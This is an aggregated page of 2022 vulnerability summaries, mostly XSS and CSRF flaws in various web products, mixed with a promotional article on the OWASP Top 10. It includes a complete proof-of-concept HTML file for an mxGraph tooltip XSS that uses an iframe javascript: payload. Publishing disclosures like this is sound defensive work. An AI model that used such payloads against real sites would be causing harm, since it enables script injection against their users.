A vulnerability, which was classified as problematic, has been found in SourceCodester Human Resource Management System 1.0. This issue affects some unknown processing of the component Add Employee Handler. The manipulation of the argument First Name/Middle Name/Last Name leads to cross site scripting. The attack may be initiated remotely. The identifier VDB-210773 was assigned to this vulnerability.

CVE-2022-3493

RPCMS v3.0.2 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the Search function.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-41473: There is an XSS reflection vulnerability in rpcms v3.0.2 · Issue #1 · ralap-z/rpcms

What is the OWASP Top 10, and – just as important – what is it not? In this review, we look at how you can make this critical risk report work for you and your organisation.
What is OWASP?
OWASP is the Open Web Application Security Project, an international non-profit organization dedicated to improving web application security. 
It operates on the core principle that all of its materials are

_What is the OWASP Top 10, and – just as important – what is it not? In this review, we look at how you can make this critical risk report work for you and your organisation._

****What is OWASP?****

OWASP is the Open Web Application Security Project, an international non-profit organization dedicated to improving web application security.

It operates on the core principle that all of its materials are freely available and easily accessible online, so that anyone anywhere can improve their own web app security. It offers a number of tools, videos, and forums to help you do this – but their best-known project is the OWASP Top 10.

****The top 10 risks****

The OWASP Top 10 outlines the most critical risks to web application security. Put together by a team of security experts from all over the world, the list is designed to raise awareness of the current security landscape and offer developers and security professionals invaluable insights into the latest and most widespread security risks.

It also includes a checklist and remediation advice that experts can fold into their own security practices and operations to minimise and/or mitigate the risk to their apps.

****Why you should use it****

OWASP updates its Top 10 every two or three years as the web application market evolves, and it's the gold standard for some of the world's largest organizations.

As such, you could be seen as falling short of compliance and security if you don't address the vulnerabilities listed in the Top 10. Conversely, integrating the list into your operations and software development shows a commitment to industry best practice.

****And why you shouldn't****

Some experts believe the OWASP Top 10 is flawed because the list is too limited and lacks context. By focusing only on the top 10 risks, it neglects the long tail. What's more, the OWASP community often argues about the ranking, and whether the 11th or 12th belong in the list instead of something higher up.

There is some merit to these arguments, but the OWASP Top 10 is still the leading forum for addressing security-aware coding and testing. It's easy to understand, it helps users prioritise risk, and its actionable. And for the most part, it focuses on the most critical threats, rather than specific vulnerabilities.

****So, what's the answer?****

Web application vulnerabilities are bad for businesses, and bad for consumers. Big breaches can result in huge quantities of stolen data. These breaches aren't always caused by organizations failing to address the OWASP Top 10, but they are some of the biggest issues. And there's no point worrying about obscure zero-day flaws in your firewall if you're not going to block injection, session capture, or XSS.

So, what should you do? Firstly, train everyone in good security hygiene. Do dynamic application security testing, including penetration testing. Ensure admins adequately protect applications. And use an online vulnerability scanner.

****Beyond OWASP****

Like most organizations, you may already be using a number of different cyber security tools to protect your organization against the threats listed by OWASP. While this is a good security stance, vulnerability management can be complex and time-consuming.

But it doesn't have to be. Intruder makes it easy to secure your apps by integrating with your CI/CD pipeline to automate the discovery of any cyber weaknesses.

You can perform security checks across your perimeter, including application-layer vulnerability checks, including checks for OWASP Top 10, XSS, SQL injection, CWE/SANS Top 25, remote code execution, OS command injection, and more.

In addition to web app checks, Intruder performs reviews across your publicly and privately accessible servers, cloud systems, and endpoint devices to keep you fully protected.

Read the latest report for a more in-depth look at the OWASP Top 10. Or if you're ready to discover how Intruder can find the cyber security weaknesses in your business, sign up for a free trial today.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Does the OWASP Top 10 Still Matter?

Cross Site Request Forgery (CSRF) vulnerability in ResIOT ResIOT IOT Platform + LoRaWAN Network Server through 4.1.1000114 allows attackers to add new admin users to the platform or other unspecified impacts.

CVE-2022-34020: Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series

A reflected XSS vulnerability exists in REDCap before 12.04.18 in the Alerts & Notifications upload feature. A crafted CSV file will, when uploaded, trigger arbitrary JavaScript code execution.

CVE-2022-42715

A vulnerability classified as problematic has been found in puppyCMS up to 5.1. This affects an unknown part of the file /admin/settings.php. The manipulation of the argument site_name leads to cross site scripting. It is possible to initiate the attack remotely. The associated identifier of this vulnerability is VDB-210699.

CVE-2022-3464

mxGraph v4.2.2 was discovered to contain a cross-site scripting (XSS) vulnerability via the setTooltips() function.

poc detail

First download the source code from github GitHub - jgraph/mxgraph: mxGraph is a fully client side JavaScript diagramming library and then put the poc.html into the folder mxgraph-master\\javascript\\examples,and open the poc.html with browser mouse over the node and then js code will be executed

 here is the call stack 。when setooltips is true，mxTooltipHandler use show method which use innerhtml to show the custom parameter

poc.html

    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Cell 的提示功能</title>
    
        <script>
            mxBasePath = '../src';
        </script>
        
        <script src="../src/js/mxClient.js"></script>
    
        <script>
            function main(container){
                if (!mxClient.isBrowserSupported())
                {
                    mxUtils.error('Browser is not supported!', 200, false);
                }
                else
                {
                 
                    var graph = new mxGraph(container);
               
                    graph.setEnabled(true);  
                   
                    graph.setResizeContainer(true); 
                    
                    graph.setCellsResizable(true); 
    
                    graph.setTooltips(true)
                   
                    graph.getCursorForCell = function (cell) {
                        if (cell != null && cell.value != null && cell.vertex == 1) {
                            return 'pointer';
                        }
                    };
    
                    var parent = graph.getDefaultParent();
                    
                    graph.getModel().beginUpdate();
                    try
                    {
                        var v1 = graph.insertVertex(parent, null, '<iframe src=javascript:alert(1)>', 20, 20, 80, 30);
                        console.log(v1)
                        var v2 = graph.insertVertex(parent, null, 'Tooltip2', 200, 200, 80, 30);
                    }
                    finally
                    {
                      
                        graph.getModel().endUpdate();
                    }
                }
            };
        </script>
    
    </head>
    <body onload="main(document.getElementById('graphContainer'))">
        <div id="graphContainer"
            style="position:relative;overflow:hidden;width:321px;height:241px;background:url('editors/images/grid.gif');cursor:default;">
        </div>
    </body>
    </html>

CVE-2022-40440: Home · SxB64/mxgraph-xss-vul Wiki

The application SAP Enable Now does not sufficiently encode user-controlled inputs over the network before it is placed in the output being served to other users, thereby expanding the attack scope, resulting in Stored Cross-Site Scripting (XSS) vulnerability leading to limited impact on Confidentiality, Integrity and Availability.

CVE-2022-35297

Cross-Site Request Forgery (CSRF) vulnerability in Cozmoslabs Profile Builder plugin <= 3.6.0 at WordPress allows uploading the JSON file and updating the options. Requires Import and Export add-on.

CVE-2021-36915: Profile Builder – User Profile & User Registration Forms

In Gogs, versions v0.6.5 through v0.12.10 are vulnerable to Stored Cross-Site Scripting (XSS) that leads to an account takeover.

**Gogs vulnerable to Cross-site Scripting**

Critical severity GitHub Reviewed Published Oct 11, 2022 • Updated Oct 11, 2022

Tag

#xss